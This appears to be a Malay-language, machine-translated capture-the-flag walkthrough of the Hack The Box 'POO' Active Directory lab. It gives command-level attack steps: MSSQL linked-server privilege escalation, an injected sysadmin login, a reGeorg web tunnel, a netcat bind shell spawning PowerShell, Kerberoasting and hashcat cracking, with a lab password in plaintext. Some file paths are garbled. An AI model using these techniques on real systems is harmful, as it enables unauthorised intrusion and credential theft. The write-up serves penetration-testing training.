Dalam artikel ini, kami akan menganalisis laluan bukan sahaja mesin, tetapi keseluruhan makmal mini dari tapak
Seperti yang dinyatakan dalam huraian, POO direka untuk menguji kemahiran pada semua peringkat serangan dalam persekitaran Active Directory yang kecil. Matlamatnya adalah untuk menjejaskan hos yang tersedia, meningkatkan keistimewaan, dan akhirnya menjejaskan keseluruhan domain dengan mengumpulkan 5 bendera dalam proses itu.
Sambungan ke makmal adalah melalui VPN. Adalah disyorkan untuk tidak menyambung dari komputer yang berfungsi atau dari hos yang terdapat data penting untuk anda, kerana anda memasuki rangkaian peribadi dengan orang yang mengetahui sesuatu tentang keselamatan maklumat 🙂
maklumat organisasi
Supaya anda boleh mengetahui tentang artikel baru, perisian dan maklumat lain, saya buat
Semua maklumat disediakan untuk tujuan pendidikan sahaja. Pengarang dokumen ini tidak bertanggungjawab ke atas sebarang kerosakan yang dialami oleh sesiapa akibat menggunakan pengetahuan dan kaedah yang diperoleh hasil daripada kajian dokumen ini.
Pengenalan
Permainan akhir ini terdiri daripada dua mesin dan mengandungi 5 bendera.
Penerangan dan alamat hos yang tersedia juga diberikan.
Mari bermula!
Bendera recon
Mesin ini mempunyai alamat IP 10.13.38.11 yang saya tambahkan pada /etc/hosts.
10.13.38.11 poo.htb
Langkah pertama ialah mengimbas port terbuka. Memandangkan ia mengambil masa yang lama untuk mengimbas semua port dengan nmap, saya akan melakukannya terlebih dahulu dengan masscan. Kami mengimbas semua port TCP dan UDP daripada antara muka tun0 pada 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Sekarang, untuk mendapatkan maklumat yang lebih terperinci tentang perkhidmatan yang dijalankan pada port, mari jalankan imbasan dengan pilihan -A.
nmap -A poo.htb -p80,1433
Oleh itu, kami mempunyai perkhidmatan IIS dan MSSQL. Dalam kes ini, kami akan mengetahui nama DNS sebenar domain dan komputer. Di pelayan web, kami disambut oleh halaman utama IIS.
Mari kita ulangi pada direktori. Saya menggunakan gobuster untuk ini. Dalam parameter kami menentukan bilangan strim 128 (-t), URL (-u), kamus (-w) dan sambungan yang menarik minat kami (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Oleh itu, kami mempunyai pengesahan HTTP untuk direktori /admin, serta fail storan perkhidmatan desktop .DS_Store tersedia. .DS_Store ialah fail yang menyimpan tetapan pengguna untuk folder, seperti senarai fail, lokasi ikon, imej latar belakang yang dipilih. Fail sedemikian mungkin berakhir dalam direktori pelayan web pembangun web. Oleh itu, kami mendapat maklumat tentang kandungan direktori. Untuk ini anda boleh gunakan
python3 dsstore_crawler.py -i http://poo.htb/
Kami mendapat kandungan direktori. Perkara yang paling menarik di sini ialah direktori /dev, dari mana kita boleh melihat sumber dan fail db dalam dua cawangan. Tetapi kita boleh menggunakan 6 aksara pertama nama fail dan direktori jika perkhidmatan itu terdedah kepada IIS ShortName. Anda boleh menyemak kerentanan ini menggunakan
Dan kami dapati satu fail teks yang bermula dengan "poo_co". Tidak tahu apa yang perlu dilakukan seterusnya, saya hanya memilih daripada kamus direktori semua perkataan yang bermula dengan "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Dan lelaran dengan wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Dan cari perkataan yang betul! Kami melihat fail ini, simpan bukti kelayakan (berdasarkan parameter DBNAME, ia adalah dari MSSQL).
Kami menyerahkan bendera, dan kami maju sebanyak 20%.
Huh bendera
Kami menyambung ke MSSQL, saya menggunakan DBeaver.
Kami tidak menemui apa-apa yang menarik dalam pangkalan data ini, mari buat SQL Editor dan semak pengguna.
SELECT name FROM master..syslogins;
Kami mempunyai dua pengguna. Jom semak keistimewaan kita.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Oleh itu, tidak ada keistimewaan. Mari lihat pelayan yang dipautkan, saya menulis tentang teknik ini secara terperinci
SELECT * FROM master..sysservers;
Jadi kami mencari Pelayan SQL yang lain. Mari kita semak pelaksanaan arahan pada pelayan ini menggunakan openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Dan kita juga boleh membina pepohon pertanyaan.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Hakikatnya ialah apabila kami membuat permintaan kepada pelayan yang dipautkan, permintaan itu dilaksanakan dalam konteks pengguna lain! Mari lihat konteks pengguna yang kami jalankan pada pelayan terpaut.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Dan sekarang mari kita lihat dalam konteks apakah permintaan daripada pelayan yang dipautkan kepada kami dilaksanakan!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Oleh itu, ia adalah konteks DBO yang mesti mempunyai semua keistimewaan. Mari kita semak keistimewaan sekiranya terdapat permintaan daripada pelayan yang dipautkan.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Seperti yang anda lihat, kami mempunyai semua keistimewaan! Jom buat admin kita macam ni. Tetapi mereka tidak membenarkan mereka melalui openquery, mari lakukannya melalui EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Dan kini kami berhubung dengan bukti kelayakan pengguna baharu, perhatikan pangkalan data bendera baharu.
Kami menyerahkan bendera ini dan pergi lebih jauh.
Bendera belakang
Mari dapatkan shell menggunakan MSSQL, saya menggunakan mssqlclient dari pakej impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Kami perlu mendapatkan kata laluan, dan perkara pertama yang telah kami temui ialah tapak. Oleh itu, kita memerlukan konfigurasi pelayan web (tidak mungkin untuk membuang shell yang mudah, nampaknya firewall berfungsi).
Tetapi akses dinafikan. Walaupun kita boleh membaca fail dari MSSQL, kita hanya perlu mengetahui bahasa pengaturcaraan yang dikonfigurasikan. Dan dalam direktori MSSQL kami mengetahui bahawa terdapat Python.
Kemudian tiada masalah untuk membaca fail web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Dengan kelayakan ditemui, pergi ke /admin dan angkat bendera.
bendera pijakan
Malah, terdapat beberapa kesulitan daripada menggunakan firewall, tetapi melihat melalui tetapan rangkaian, kami mendapati bahawa protokol IPv6 juga digunakan!
Tambahkan alamat ini pada /etc/hosts.
dead:babe::1001 poo6.htb
Mari kita imbas hos sekali lagi, tetapi kali ini melalui IPv6.
Dan perkhidmatan WinRM tersedia melalui IPv6. Mari sambungkan dengan kelayakan yang ditemui.
Ada bendera di atas meja, serahkan.
bendera P00ned
Selepas peninjauan pada tuan rumah dengan
setspn.exe -T intranet.poo -Q */*
Mari laksanakan arahan melalui MSSQL.
Dengan cara ini, kami mendapat SPN pengguna p00_hr dan p00_adm, yang bermaksud bahawa mereka terdedah kepada serangan seperti Kerberoasting. Pendek kata, kita boleh mendapatkan cincang kata laluan mereka.
Mula-mula anda perlu mendapatkan shell yang stabil bagi pihak pengguna MSSQL. Tetapi kerana kami terhad dalam akses, kami mempunyai sambungan dengan hos hanya melalui port 80 dan 1433. Tetapi adalah mungkin untuk menyalurkan trafik melalui port 80! Untuk ini kami gunakan
Tetapi apabila kami cuba mengaksesnya, kami mendapat ralat 404. Ini bermakna fail *.aspx tidak dilaksanakan. Untuk membuat fail dengan sambungan ini dijalankan, pasang ASP.NET 4.5 seperti berikut.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Dan kini, apabila mengakses tunnel.aspx, kami mendapat jawapan bahawa segala-galanya sedia untuk digunakan.
Mari kita mulakan bahagian pelanggan aplikasi, yang akan menyampaikan trafik. Kami akan memajukan semua trafik dari port 5432 ke pelayan.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Dan kami menggunakan rantaian proksi untuk menghantar trafik mana-mana aplikasi melalui proksi kami. Mari tambahkan proksi ini pada fail konfigurasi /etc/proxychains.conf.
Sekarang mari muat naik program ke pelayan
Sekarang, melalui MSSQL, kami melancarkan pendengar.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Dan kami menyambung melalui proksi kami.
proxychains rlwrap nc poo.htb 4321
Dan mari dapatkan cincangan.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Seterusnya, anda perlu mengulangi cincang ini. Memandangkan rockyou tidak mempunyai kamus data kata laluan, saya menggunakan SEMUA kamus kata laluan yang disediakan dalam Seclist. Untuk penghitungan kami menggunakan hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Dan kami menemui kedua-dua kata laluan, yang pertama dalam kamus dutch_passwordlist.txt dan yang kedua dalam Keyboard-Combinations.txt.
Jadi kami mempunyai tiga pengguna, kami pergi ke pengawal domain. Jom cari alamat dia dulu.
Hebat, kami telah mempelajari alamat IP pengawal domain. Mari kita ketahui semua pengguna domain tersebut, serta yang mana antara mereka adalah pentadbir. Untuk memuat turun skrip untuk mendapatkan maklumat PowerView.ps1. Kemudian kami akan menyambung menggunakan evil-winrm, menentukan direktori dengan skrip dalam parameter -s. Dan kemudian hanya muatkan skrip PowerView.
Kini kami mempunyai akses kepada semua fungsinya. Pengguna p00_adm kelihatan seperti pengguna istimewa, jadi kami akan bekerja dalam konteksnya. Mari buat objek PSCredential untuk pengguna ini.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Sekarang semua arahan Powershell yang kami tentukan Creds akan dilaksanakan bagi pihak p00_adm. Mari paparkan senarai pengguna dan atribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Oleh itu, pengguna kami benar-benar mendapat keistimewaan. Jom kita lihat dia tergolong dalam kumpulan apa.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Kami akhirnya mengesahkan bahawa pengguna ialah pentadbir domain. Ini memberikan hak untuk log masuk dari jauh ke pengawal domain. Mari cuba log masuk dengan WinRM menggunakan terowong kami. Saya keliru dengan ralat yang dikeluarkan oleh reGeorg apabila menggunakan evil-winrm.
Kemudian kami menggunakan satu lagi yang lebih mudah,
Kami cuba menyambung, dan kami berada dalam sistem.
Tetapi tidak ada bendera. Kemudian lihat pengguna dan semak desktop.
Di mr3ks kami dapati bendera dan makmal telah siap 100%.
Itu sahaja. Sebagai maklum balas, ulas sama ada anda mempelajari sesuatu yang baharu daripada artikel ini dan sama ada ia berguna kepada anda.
Anda boleh sertai kami di
Sumber: www.habr.com